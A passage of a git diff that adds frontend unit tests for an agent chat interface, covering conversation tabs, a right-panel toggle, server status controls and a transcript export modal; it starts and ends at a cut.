+
+      expect(
+        await screen.findByTestId("planner-tab-build-button"),
+      ).toBeInTheDocument();
+    });
+
+    it("disables the build button when there is no plan content", async () => {
+      setActiveTabState("planner");
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        await screen.findByTestId("planner-tab-build-button"),
+      ).toBeDisabled();
+    });
+
+    it("disables the build button when the agent is running", async () => {
+      mockCurAgentState = AgentState.RUNNING;
+      setActiveTabState("planner");
+      useConversationStore.setState({
+        planContent: "# Plan content",
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        await screen.findByTestId("planner-tab-build-button"),
+      ).toBeDisabled();
+    });
+
+    it("calls the build handler when the build button is clicked", async () => {
+      const user = userEvent.setup();
+      setActiveTabState("planner");
+      useConversationStore.setState({
+        planContent: "# Plan content",
+      });
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      await user.click(await screen.findByTestId("planner-tab-build-button"));
+
+      expect(mockHandleBuildPlanClick).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  describe("planner tab visibility by backend kind", () => {
+    beforeEach(() => {
+      mockConversationId = REAL_CONVERSATION_ID;
+    });
+
+    it("should show the planner tab when the active backend is local", () => {
+      // Arrange
+      seedActiveBackend({
+        id: "local-test",
+        name: "Local Test",
+        host: "http://localhost:8000",
+        apiKey: "",
+        kind: "local",
+      });
+
+      // Act
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Assert: local planning is now supported, so the tab is shown.
+      expect(
+        screen.getByTestId("conversation-tab-planner"),
+      ).toBeInTheDocument();
+    });
+
+    it("should show the planner tab when the active backend is cloud", () => {
+      // Arrange
+      seedActiveBackend({
+        id: "cloud-test",
+        name: "Cloud Test",
+        host: "https://app.example.com",
+        apiKey: "secret",
+        kind: "cloud",
+      });
+
+      // Act
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Assert
+      expect(
+        screen.getByTestId("conversation-tab-planner"),
+      ).toBeInTheDocument();
+    });
+  });
+
+  describe("vscode link visibility by backend kind", () => {
+    beforeEach(() => {
+      mockConversationId = REAL_CONVERSATION_ID;
+    });
+
+    it("should show the vscode link when the active backend is local", () => {
+      // Arrange
+      seedActiveBackend({
+        id: "local-test",
+        name: "Local Test",
+        host: "http://localhost:8000",
+        apiKey: "",
+        kind: "local",
+      });
+
+      // Act
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Assert — self-hosted backends serve VSCode too; the URL comes from
+      // the agent server's /api/vscode/url via useUnifiedVSCodeUrl's local
+      // branch, rather than from cloud `exposed_urls`.
+      expect(screen.getByTestId("drawer-vscode-link")).toBeInTheDocument();
+    });
+
+    it("should show the vscode link when the active backend is cloud", () => {
+      // Arrange
+      seedActiveBackend({
+        id: "cloud-test",
+        name: "Cloud Test",
+        host: "https://app.example.com",
+        apiKey: "secret",
+        kind: "cloud",
+      });
+
+      // Act
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      // Assert
+      expect(screen.getByTestId("drawer-vscode-link")).toBeInTheDocument();
+    });
+
+    it("re-measures the tab row when the vscode button's own width changes", () => {
+      // The button's width is folded into how many tabs fit inline, and its
+      // presence is now resolved asynchronously (the hook probes
+      // /api/vscode/status). It sits inside an `ml-auto shrink-0` wrapper, so
+      // it appearing or disappearing leaves the row's own box unchanged —
+      // observing only the row would leave the fit computed against a button
+      // that is no longer on screen, permanently costing an inline tab.
+      const observed: Element[] = [];
+      class RecordingResizeObserver {
+        observe = (el: Element) => {
+          observed.push(el);
+        };
+
+        unobserve = vi.fn();
+
+        disconnect = vi.fn();
+      }
+      // Swap only this global back afterwards: vi.unstubAllGlobals() would
+      // also drop the localStorage/ResizeObserver stubs vitest.setup.ts
+      // installs in beforeAll, breaking every later test in the file.
+      const originalResizeObserver = globalThis.ResizeObserver;
+      globalThis.ResizeObserver =
+        RecordingResizeObserver as unknown as typeof ResizeObserver;
+
+      try {
+        seedActiveBackend({
+          id: "local-test",
+          name: "Local Test",
+          host: "http://localhost:8000",
+          apiKey: "",
+          kind: "local",
+        });
+
+        render(<ConversationTabs />, {
+          wrapper: createWrapper(REAL_CONVERSATION_ID),
+        });
+
+        const vscodeWrapper =
+          screen.getByTestId("drawer-vscode-link").parentElement;
+        expect(vscodeWrapper).not.toBeNull();
+        expect(observed).toContain(vscodeWrapper);
+      } finally {
+        globalThis.ResizeObserver = originalResizeObserver;
+      }
+    });
+  });
+
+  describe("ellipsis context menu", () => {
+    beforeEach(() => {
+      mockConversationId = REAL_CONVERSATION_ID;
+    });
+
+    it("opens the context menu when the ellipsis button is clicked", async () => {
+      const user = userEvent.setup();
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        screen.queryByTestId("conversation-tabs-menu-open-files"),
+      ).not.toBeInTheDocument();
+
+      await user.click(screen.getByTestId("ellipsis-button"));
+
+      expect(
+        screen.getByTestId("conversation-tabs-menu-open-files"),
+      ).toBeInTheDocument();
+    });
+  });
+
+  describe("tasklist tab", () => {
+    beforeEach(() => {
+      mockConversationId = REAL_CONVERSATION_ID;
+      mockHasTaskList = true;
+    });
+
+    it("should show tasklist tab when hasTaskList is true", () => {
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      expect(
+        screen.getByTestId("conversation-tab-tasklist"),
+      ).toBeInTheDocument();
+    });
+
+    it("should select tasklist tab when clicked", async () => {
+      const user = userEvent.setup();
+
+      render(<ConversationTabs />, {
+        wrapper: createWrapper(REAL_CONVERSATION_ID),
+      });
+
+      const tasklistTab = screen.getByTestId("conversation-tab-tasklist");
+      await user.click(tasklistTab);
+
+      const { selectedTab, hasRightPanelToggled } =
+        useConversationStore.getState();
+      expect(selectedTab).toBe("tasklist");
+      expect(hasRightPanelToggled).toBe(true);
+    });
+  });
+});
diff --git a/__tests__/components/features/conversation/right-panel-toggle.test.tsx b/__tests__/components/features/conversation/right-panel-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a4fd8dba39d2b8e6e9d20b744ee604cccfb6641f
--- /dev/null
+++ b/__tests__/components/features/conversation/right-panel-toggle.test.tsx
@@ -0,0 +1,130 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { RightPanelToggle } from "#/components/features/conversation/right-panel-toggle";
+import { useConversationStore } from "#/stores/conversation-store";
+
+const CONVERSATION_ID = "conv-abc123";
+
+const { mockNavigate, breakpointIsMobile } = vi.hoisted(() => ({
+  mockNavigate: vi.fn(),
+  breakpointIsMobile: { value: false },
+}));
+
+vi.mock("react-router", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("react-router")>();
+  return {
+    ...actual,
+    useNavigate: () => mockNavigate,
+  };
+});
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => breakpointIsMobile.value,
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useConversationId: () => ({ conversationId: CONVERSATION_ID }),
+}));
+
+vi.mock("#/hooks/use-is-archived-conversation", () => ({
+  useIsArchivedConversation: () => false,
+}));
+
+describe("RightPanelToggle", () => {
+  beforeEach(() => {
+    localStorage.clear();
+    mockNavigate.mockClear();
+    breakpointIsMobile.value = false;
+    useConversationStore.setState({
+      selectedTab: "files",
+      isRightPanelShown: true,
+      hasRightPanelToggled: true,
+    });
+  });
+
+  it("should render the toggle button", () => {
+    render(<RightPanelToggle />);
+    expect(screen.getByTestId("right-panel-toggle")).toBeInTheDocument();
+  });
+
+  it("should hide the panel when clicked while panel is open", async () => {
+    const user = userEvent.setup();
+
+    render(<RightPanelToggle />);
+
+    const button = screen.getByTestId("right-panel-toggle");
+    await user.click(button);
+
+    const storeState = useConversationStore.getState();
+    expect(storeState.hasRightPanelToggled).toBe(false);
+    expect(storeState.isRightPanelShown).toBe(false);
+
+    const storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+    );
+    expect(storedState.rightPanelShown).toBe(false);
+  });
+
+  it("should show the panel when clicked while panel is hidden", async () => {
+    const user = userEvent.setup();
+
+    useConversationStore.setState({
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+
+    render(<RightPanelToggle />);
+
+    const button = screen.getByTestId("right-panel-toggle");
+    await user.click(button);
+
+    const storeState = useConversationStore.getState();
+    expect(storeState.hasRightPanelToggled).toBe(true);
+    expect(storeState.isRightPanelShown).toBe(true);
+
+    const storedState = JSON.parse(
+      localStorage.getItem(`conversation-state-${CONVERSATION_ID}`)!,
+    );
+    expect(storedState.rightPanelShown).toBe(true);
+  });
+
+  it("should have aria-pressed attribute reflecting panel state on desktop", () => {
+    const { unmount } = render(<RightPanelToggle />);
+    expect(screen.getByTestId("right-panel-toggle")).toHaveAttribute(
+      "aria-pressed",
+      "true",
+    );
+
+    unmount();
+
+    useConversationStore.setState({ isRightPanelShown: false });
+    render(<RightPanelToggle />);
+    expect(screen.getByTestId("right-panel-toggle")).toHaveAttribute(
+      "aria-pressed",
+      "false",
+    );
+  });
+
+  it("navigates to the full-screen panel route on mobile", async () => {
+    breakpointIsMobile.value = true;
+    const user = userEvent.setup();
+
+    useConversationStore.setState({
+      isRightPanelShown: false,
+      hasRightPanelToggled: false,
+    });
+
+    render(<RightPanelToggle />);
+
+    await user.click(screen.getByTestId("right-panel-toggle"));
+
+    expect(mockNavigate).toHaveBeenCalledWith(
+      `/conversations/${CONVERSATION_ID}/panel`,
+    );
+    const storeState = useConversationStore.getState();
+    expect(storeState.hasRightPanelToggled).toBe(true);
+    expect(storeState.isRightPanelShown).toBe(true);
+  });
+});
diff --git a/__tests__/components/features/conversation/server-status.test.tsx b/__tests__/components/features/conversation/server-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a3c241e8d28d21cdf29fe4dcb26df00a20e08edf
--- /dev/null
+++ b/__tests__/components/features/conversation/server-status.test.tsx
@@ -0,0 +1,326 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ServerStatus } from "#/components/features/controls/server-status";
+import { ServerStatusContextMenu } from "#/components/features/controls/server-status-context-menu";
+import { ConversationStatus } from "#/types/conversation-status";
+import { AgentState } from "#/types/agent-state";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+// Mock the agent state hook
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+  useTaskPolling: () => ({
+    isTask: false,
+    taskId: null,
+    conversationId: "test-conversation-id",
+    task: null,
+    taskStatus: null,
+    taskDetail: null,
+    taskError: null,
+    isLoadingTask: false,
+  }),
+}));
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string) => {
+        const translations: Record<string, string> = {
+          COMMON$RUNNING: "Running",
+          COMMON$SERVER_STOPPED: "Server Stopped",
+          COMMON$ERROR: "Error",
+          COMMON$STARTING: "Starting",
+          COMMON$STOPPING: "Stopping...",
+          COMMON$STOP_RUNTIME: "Stop Runtime",
+          COMMON$START_RUNTIME: "Start Runtime",
+          CONVERSATION$ERROR_STARTING_CONVERSATION:
+            "Error starting conversation",
+          CONVERSATION$READY: "Ready",
+        };
+        return translations[key] || key;
+      },
+      i18n: {
+        changeLanguage: () => new Promise(() => {}),
+      },
+    }),
+  };
+});
+
+describe("ServerStatus", () => {
+  // Helper function to mock agent state with specific state
+  const mockAgentStore = (agentState: AgentState) => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: agentState,
+    });
+  };
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render server status with RUNNING conversation status", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(<ServerStatus executionStatus={ExecutionStatus.RUNNING} />);
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Running")).toBeInTheDocument();
+  });
+
+  it("should render server status with STOPPED conversation status", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(<ServerStatus executionStatus={ExecutionStatus.PAUSED} />);
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Server Stopped")).toBeInTheDocument();
+  });
+
+  it("should render STARTING status when agent state is LOADING", () => {
+    mockAgentStore(AgentState.LOADING);
+
+    renderWithProviders(<ServerStatus executionStatus={ExecutionStatus.IDLE} />);
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Starting")).toBeInTheDocument();
+  });
+
+  it("should render STARTING status when agent state is INIT", () => {
+    mockAgentStore(AgentState.INIT);
+
+    renderWithProviders(<ServerStatus executionStatus={ExecutionStatus.IDLE} />);
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Starting")).toBeInTheDocument();
+  });
+
+  it("should render ERROR status when agent state is ERROR", () => {
+    mockAgentStore(AgentState.ERROR);
+
+    renderWithProviders(<ServerStatus executionStatus={ExecutionStatus.RUNNING} />);
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Error")).toBeInTheDocument();
+  });
+
+  it("should render STOPPING status when isPausing is true", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatus executionStatus={ExecutionStatus.RUNNING} isPausing={true} />,
+    );
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Stopping...")).toBeInTheDocument();
+  });
+
+  it("should handle null conversation status", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(<ServerStatus executionStatus={null} />);
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByText("Running")).toBeInTheDocument();
+  });
+
+  it("should apply custom className", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatus executionStatus={ExecutionStatus.RUNNING} className="custom-class" />,
+    );
+
+    const container = screen.getByTestId("server-status");
+    expect(container).toHaveClass("custom-class");
+  });
+});
+
+describe("ServerStatusContextMenu", () => {
+  // Helper function to mock agent state with specific state
+  const mockAgentStore = (agentState: AgentState) => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: agentState,
+    });
+  };
+
+  const defaultProps = {
+    onClose: vi.fn(),
+    executionStatus: "RUNNING" as ConversationStatus,
+  };
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render stop server button when status is RUNNING", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.RUNNING}
+        onStopServer={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByTestId("stop-server-button")).toBeInTheDocument();
+    expect(screen.getByText("Stop Runtime")).toBeInTheDocument();
+  });
+
+  it("should render start server button when status is STOPPED", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.PAUSED}
+        onStartServer={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.getByTestId("start-server-button")).toBeInTheDocument();
+    expect(screen.getByText("Start Runtime")).toBeInTheDocument();
+  });
+
+  it("should not render stop server button when onStopServer is not provided", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.RUNNING}
+      />,
+    );
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.queryByTestId("stop-server-button")).not.toBeInTheDocument();
+  });
+
+  it("should not render start server button when onStartServer is not provided", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.PAUSED}
+      />,
+    );
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.queryByTestId("start-server-button")).not.toBeInTheDocument();
+  });
+
+  it("should call onStopServer when stop button is clicked", async () => {
+    const user = userEvent.setup();
+    const onStopServer = vi.fn();
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.RUNNING}
+        onStopServer={onStopServer}
+      />,
+    );
+
+    const stopButton = screen.getByTestId("stop-server-button");
+    await user.click(stopButton);
+
+    expect(onStopServer).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call onStartServer when start button is clicked", async () => {
+    const user = userEvent.setup();
+    const onStartServer = vi.fn();
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.PAUSED}
+        onStartServer={onStartServer}
+      />,
+    );
+
+    const startButton = screen.getByTestId("start-server-button");
+    await user.click(startButton);
+
+    expect(onStartServer).toHaveBeenCalledTimes(1);
+  });
+
+  it("should render correct text content for stop server button", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.RUNNING}
+        onStopServer={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("stop-server-button")).toHaveTextContent(
+      "Stop Runtime",
+    );
+  });
+
+  it("should render correct text content for start server button", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.PAUSED}
+        onStartServer={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("start-server-button")).toHaveTextContent(
+      "Start Runtime",
+    );
+  });
+
+  it("should call onClose when context menu is closed", () => {
+    const onClose = vi.fn();
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        onClose={onClose}
+        executionStatus={ExecutionStatus.RUNNING}
+        onStopServer={vi.fn()}
+      />,
+    );
+
+    // The onClose is typically called by the parent component when clicking outside
+    // This test verifies the prop is properly passed
+    expect(onClose).toBeDefined();
+  });
+
+  it("should not render any buttons for other conversation statuses", () => {
+    mockAgentStore(AgentState.RUNNING);
+
+    renderWithProviders(
+      <ServerStatusContextMenu
+        {...defaultProps}
+        executionStatus={ExecutionStatus.IDLE}
+      />,
+    );
+
+    expect(screen.getByTestId("server-status")).toBeInTheDocument();
+    expect(screen.queryByTestId("stop-server-button")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("start-server-button")).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/transcript-export-modal.test.tsx b/__tests__/components/features/conversation/transcript-export-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e17ff54b54fb6eecde933b75927f36bf84471b1f
--- /dev/null
+++ b/__tests__/components/features/conversation/transcript-export-modal.test.tsx
@@ -0,0 +1,433 @@
+import { act, fireEvent, screen, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { TranscriptExportModal } from "#/components/features/conversation/transcript-export-modal";
+import { I18nKey } from "#/i18n/declaration";
+import type {
+  HookExecutionEvent,
+  OpenHandsEvent,
+} from "#/types/agent-server/core";
+
+const {
+  displayErrorToastMock,
+  downloadBlobMock,
+  eventStoreState,
+  eventsToHtmlMock,
+  eventsToMarkdownMock,
+  getEventCountMock,
+  loadCompleteTranscriptEventsMock,
+  searchEventsMock,
+  trackConversationExportedMock,
+  useTranslationMock,
+} = vi.hoisted(() => ({
+  displayErrorToastMock: vi.fn(),
+  downloadBlobMock: vi.fn(),
+  eventStoreState: {
+    loadedConversationId: null as string | null,
+    events: [] as OpenHandsEvent[],
+  },
+  eventsToHtmlMock: vi.fn(),
+  eventsToMarkdownMock: vi.fn(),
+  getEventCountMock: vi.fn(),
+  loadCompleteTranscriptEventsMock: vi.fn(),
+  searchEventsMock: vi.fn(),
+  trackConversationExportedMock: vi.fn(),
+  useTranslationMock: vi.fn(),
+}));
+
+vi.mock("react-i18next", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("react-i18next")>()),
+  useTranslation: (namespace: string) => {
+    useTranslationMock(namespace);
+    return { t: (key: string) => key };
+  },
+}));
+
+vi.mock("#/utils/utils", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("#/utils/utils")>()),
+  downloadBlob: (...args: unknown[]) => downloadBlobMock(...args),
+}));
+
+vi.mock("#/utils/transcript-export", () => ({
+  eventsToHtml: (...args: unknown[]) => eventsToHtmlMock(...args),
+  eventsToMarkdown: (...args: unknown[]) => eventsToMarkdownMock(...args),
+}));
+
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackConversationExported: (...args: unknown[]) =>
+      trackConversationExportedMock(...args),
+  }),
+}));
+
+vi.mock("#/stores/use-event-store", () => ({
+  useEventStore: {
+    getState: () => eventStoreState,
+  },
+}));
+
+vi.mock("#/api/event-service/event-service.api", () => ({
+  default: {
+    getEventCount: (...args: unknown[]) => getEventCountMock(...args),
+    searchEvents: (...args: unknown[]) => searchEventsMock(...args),
+  },
+}));
+
+vi.mock("#/utils/transcript-export/load-complete-events", () => ({
+  loadCompleteTranscriptEvents: (...args: unknown[]) =>
+    loadCompleteTranscriptEventsMock(...args),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: (...args: unknown[]) => displayErrorToastMock(...args),
+}));
+
+const makeEvent = (id: string): HookExecutionEvent => ({
+  id,
+  timestamp: "2026-07-12T00:00:00.000Z",
+  source: "hook",
+  kind: "HookExecutionEvent",
+  hook_event_type: "PreToolUse",
+  hook_command: "npm test",
+  success: true,
+  blocked: false,
+  exit_code: 0,
+  reason: null,
+  tool_name: "terminal",
+  action_id: null,
+  message_id: null,
+  stdout: null,
+  stderr: null,
+  error: null,
+  additional_context: null,
+  hook_input: null,
+});
+
+function createDeferred<T>() {
+  let resolve!: (value: T | PromiseLike<T>) => void;
+  let reject!: (reason?: unknown) => void;
+  const promise = new Promise<T>((resolvePromise, rejectPromise) => {
+    resolve = resolvePromise;
+    reject = rejectPromise;
+  });
+  return { promise, resolve, reject };
+}
+
+async function readBlob(blob: Blob): Promise<string> {
+  return new Promise((resolve, reject) => {
+    const reader = new FileReader();
+    reader.onload = () => resolve(String(reader.result));
+    reader.onerror = () => reject(reader.error);
+    reader.readAsText(blob);
+  });
+}
+
+interface RenderExportModalOptions {
+  loadedConversationId?: string | null;
+  loadedEvents?: OpenHandsEvent[];
+  conversationUrl?: string | null;
+  sessionApiKey?: string | null;
+  conversationTitle?: string | null;
+  model?: string | null;
+}
+
+function renderExportModal({
+  loadedConversationId = "conversation-1",
+  loadedEvents = [makeEvent("loaded-event")],
+  conversationUrl,
+  sessionApiKey = null,
+  conversationTitle = null,
+  model = null,
+}: RenderExportModalOptions = {}) {
+  [
+    displayErrorToastMock,
+    downloadBlobMock,
+    eventsToHtmlMock,
+    eventsToMarkdownMock,
+    getEventCountMock,
+    loadCompleteTranscriptEventsMock,
+    searchEventsMock,
+    trackConversationExportedMock,
+    useTranslationMock,
+  ].forEach((mock) => mock.mockReset());
+
+  eventStoreState.loadedConversationId = loadedConversationId;
+  eventStoreState.events = loadedEvents;
+  const completeEvents = [makeEvent("complete-event")];
+  getEventCountMock.mockResolvedValue(1);
+  searchEventsMock.mockResolvedValue({ items: [], next_page_id: null });
+  loadCompleteTranscriptEventsMock.mockResolvedValue(completeEvents);
+  eventsToMarkdownMock.mockReturnValue("# Markdown transcript");
+  eventsToHtmlMock.mockReturnValue("<html>HTML transcript</html>");
+  const onClose = vi.fn();
+  const view = renderWithProviders(
+    <TranscriptExportModal
+      conversationId="conversation-1"
+      conversationUrl={conversationUrl}
+      sessionApiKey={sessionApiKey}
+      conversationTitle={conversationTitle}
+      model={model}
+      onClose={onClose}
+    />,
+  );
+
+  return { ...view, completeEvents, loadedEvents, onClose };
+}
+
+describe("transcript export modal", () => {
+  it("exports the current transcript as Markdown with accessible defaults", async () => {
+    const scenario = renderExportModal();
+    const markdownRadio = screen.getByRole("radio", {
+      name: I18nKey.TRANSCRIPT_EXPORT$MARKDOWN,
+    });
+    const htmlRadio = screen.getByRole("radio", {
+      name: I18nKey.TRANSCRIPT_EXPORT$HTML,
+    });
+
+    expect(markdownRadio).toBeChecked();
+    expect(htmlRadio).not.toBeChecked();
+    expect(markdownRadio).toHaveAttribute("name", "transcript-export-format");
+    expect(htmlRadio).toHaveAttribute("name", "transcript-export-format");
+    expect(
+      screen.getByRole("checkbox", {
+        name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TOOL_DETAILS,
+      }),
+    ).toBeChecked();
+    expect(
+      screen.getByRole("checkbox", {
+        name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TIMESTAMPS,
+      }),
+    ).toBeChecked();
+    expect(useTranslationMock).toHaveBeenNthCalledWith(1, "openhands");
+
+    fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+
+    await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+    expect(getEventCountMock).toHaveBeenCalledWith("conversation-1", "", null);
+    expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledWith(
+      scenario.loadedEvents,
+      expect.any(Function),
+      1,
+    );
+    expect(eventsToMarkdownMock).toHaveBeenCalledWith(scenario.completeEvents, {
+      includeToolDetails: true,
+      includeTimestamps: true,
+      title: null,
+      model: null,
+    });
+    expect(eventsToHtmlMock).not.toHaveBeenCalled();
+    const [blob, filename] = downloadBlobMock.mock.calls[0] as [Blob, string];
+    expect(filename).toBe("conversation-conversation-1.md");
+    expect(blob.type).toBe("text/markdown;charset=utf-8");
+    await expect(readBlob(blob)).resolves.toBe("# Markdown transcript");
+    expect(trackConversationExportedMock).toHaveBeenCalledWith("markdown");
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+  });
+
+  it("exports fetched events as HTML with the selected options", async () => {
+    const scenario = renderExportModal({
+      loadedConversationId: "another-conversation",
+      conversationUrl: "wss://runtime.example/ws",
+      sessionApiKey: "session-key",
+      conversationTitle: "Incident review",
+      model: "model-v2",
+    });
+    const searchOptions = {
+      limit: 100,
+      sortOrder: "TIMESTAMP_DESC",
+      strictPagination: true,
+    };
+    loadCompleteTranscriptEventsMock.mockImplementation(
+      async (
+        _loadedEvents: OpenHandsEvent[],
+        searchEvents: (options: Record<string, unknown>) => Promise<unknown>,
+      ) => {
+        await searchEvents(searchOptions);
+        return scenario.completeEvents;
+      },
+    );
+    const markdownRadio = screen.getByRole("radio", {
+      name: I18nKey.TRANSCRIPT_EXPORT$MARKDOWN,
+    });
+    const htmlRadio = screen.getByRole("radio", {
+      name: I18nKey.TRANSCRIPT_EXPORT$HTML,
+    });
+
+    fireEvent.click(htmlRadio);
+    expect(htmlRadio).toBeChecked();
+    fireEvent.click(markdownRadio);
+    expect(markdownRadio).toBeChecked();
+    fireEvent.click(htmlRadio);
+    fireEvent.click(
+      screen.getByRole("checkbox", {
+        name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TOOL_DETAILS,
+      }),
+    );
+    fireEvent.click(
+      screen.getByRole("checkbox", {
+        name: I18nKey.TRANSCRIPT_EXPORT$INCLUDE_TIMESTAMPS,
+      }),
+    );
+    fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+
+    await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+    expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledWith(
+      [],
+      expect.any(Function),
+      1,
+    );
+    expect(searchEventsMock).toHaveBeenCalledWith(
+      "conversation-1",
+      "wss://runtime.example/ws",
+      "session-key",
+      searchOptions,
+    );
+    expect(eventsToHtmlMock).toHaveBeenCalledWith(scenario.completeEvents, {
+      includeToolDetails: false,
+      includeTimestamps: false,
+      title: "Incident review",
+      model: "model-v2",
+    });
+    expect(eventsToMarkdownMock).not.toHaveBeenCalled();
+    const [blob, filename] = downloadBlobMock.mock.calls[0] as [Blob, string];
+    expect(filename).toBe("conversation-conversation-1.html");
+    expect(blob.type).toBe("text/html;charset=utf-8");
+    await expect(readBlob(blob)).resolves.toBe("<html>HTML transcript</html>");
+    expect(trackConversationExportedMock).toHaveBeenCalledWith("html");
+    expect(scenario.onClose).toHaveBeenCalledOnce();
+  });
+
+  it("continues without an expected count when that endpoint is unavailable", async () => {
+    const scenario = renderExportModal();
+    getEventCountMock.mockRejectedValue(new Error("count unavailable"));
+
+    fireEvent.click(screen.getByTestId("confirm-transcript-export"));
+
+    await waitFor(() => expect(downloadBlobMock).toHaveBeenCalledOnce());
+    expect(loadCompleteTranscriptEventsMock).toHaveBeenCalledWith(
+      scenario.loadedEvents,
+      expect.any(Function),
+      undefined,
+    );
+    expect(displayErrorToastMock).not.toHaveBeenCalled();
+  });
+
+  it("reports an export error, restores the form, and permits a retry", async () => {
+    const scenario = renderExportModal();
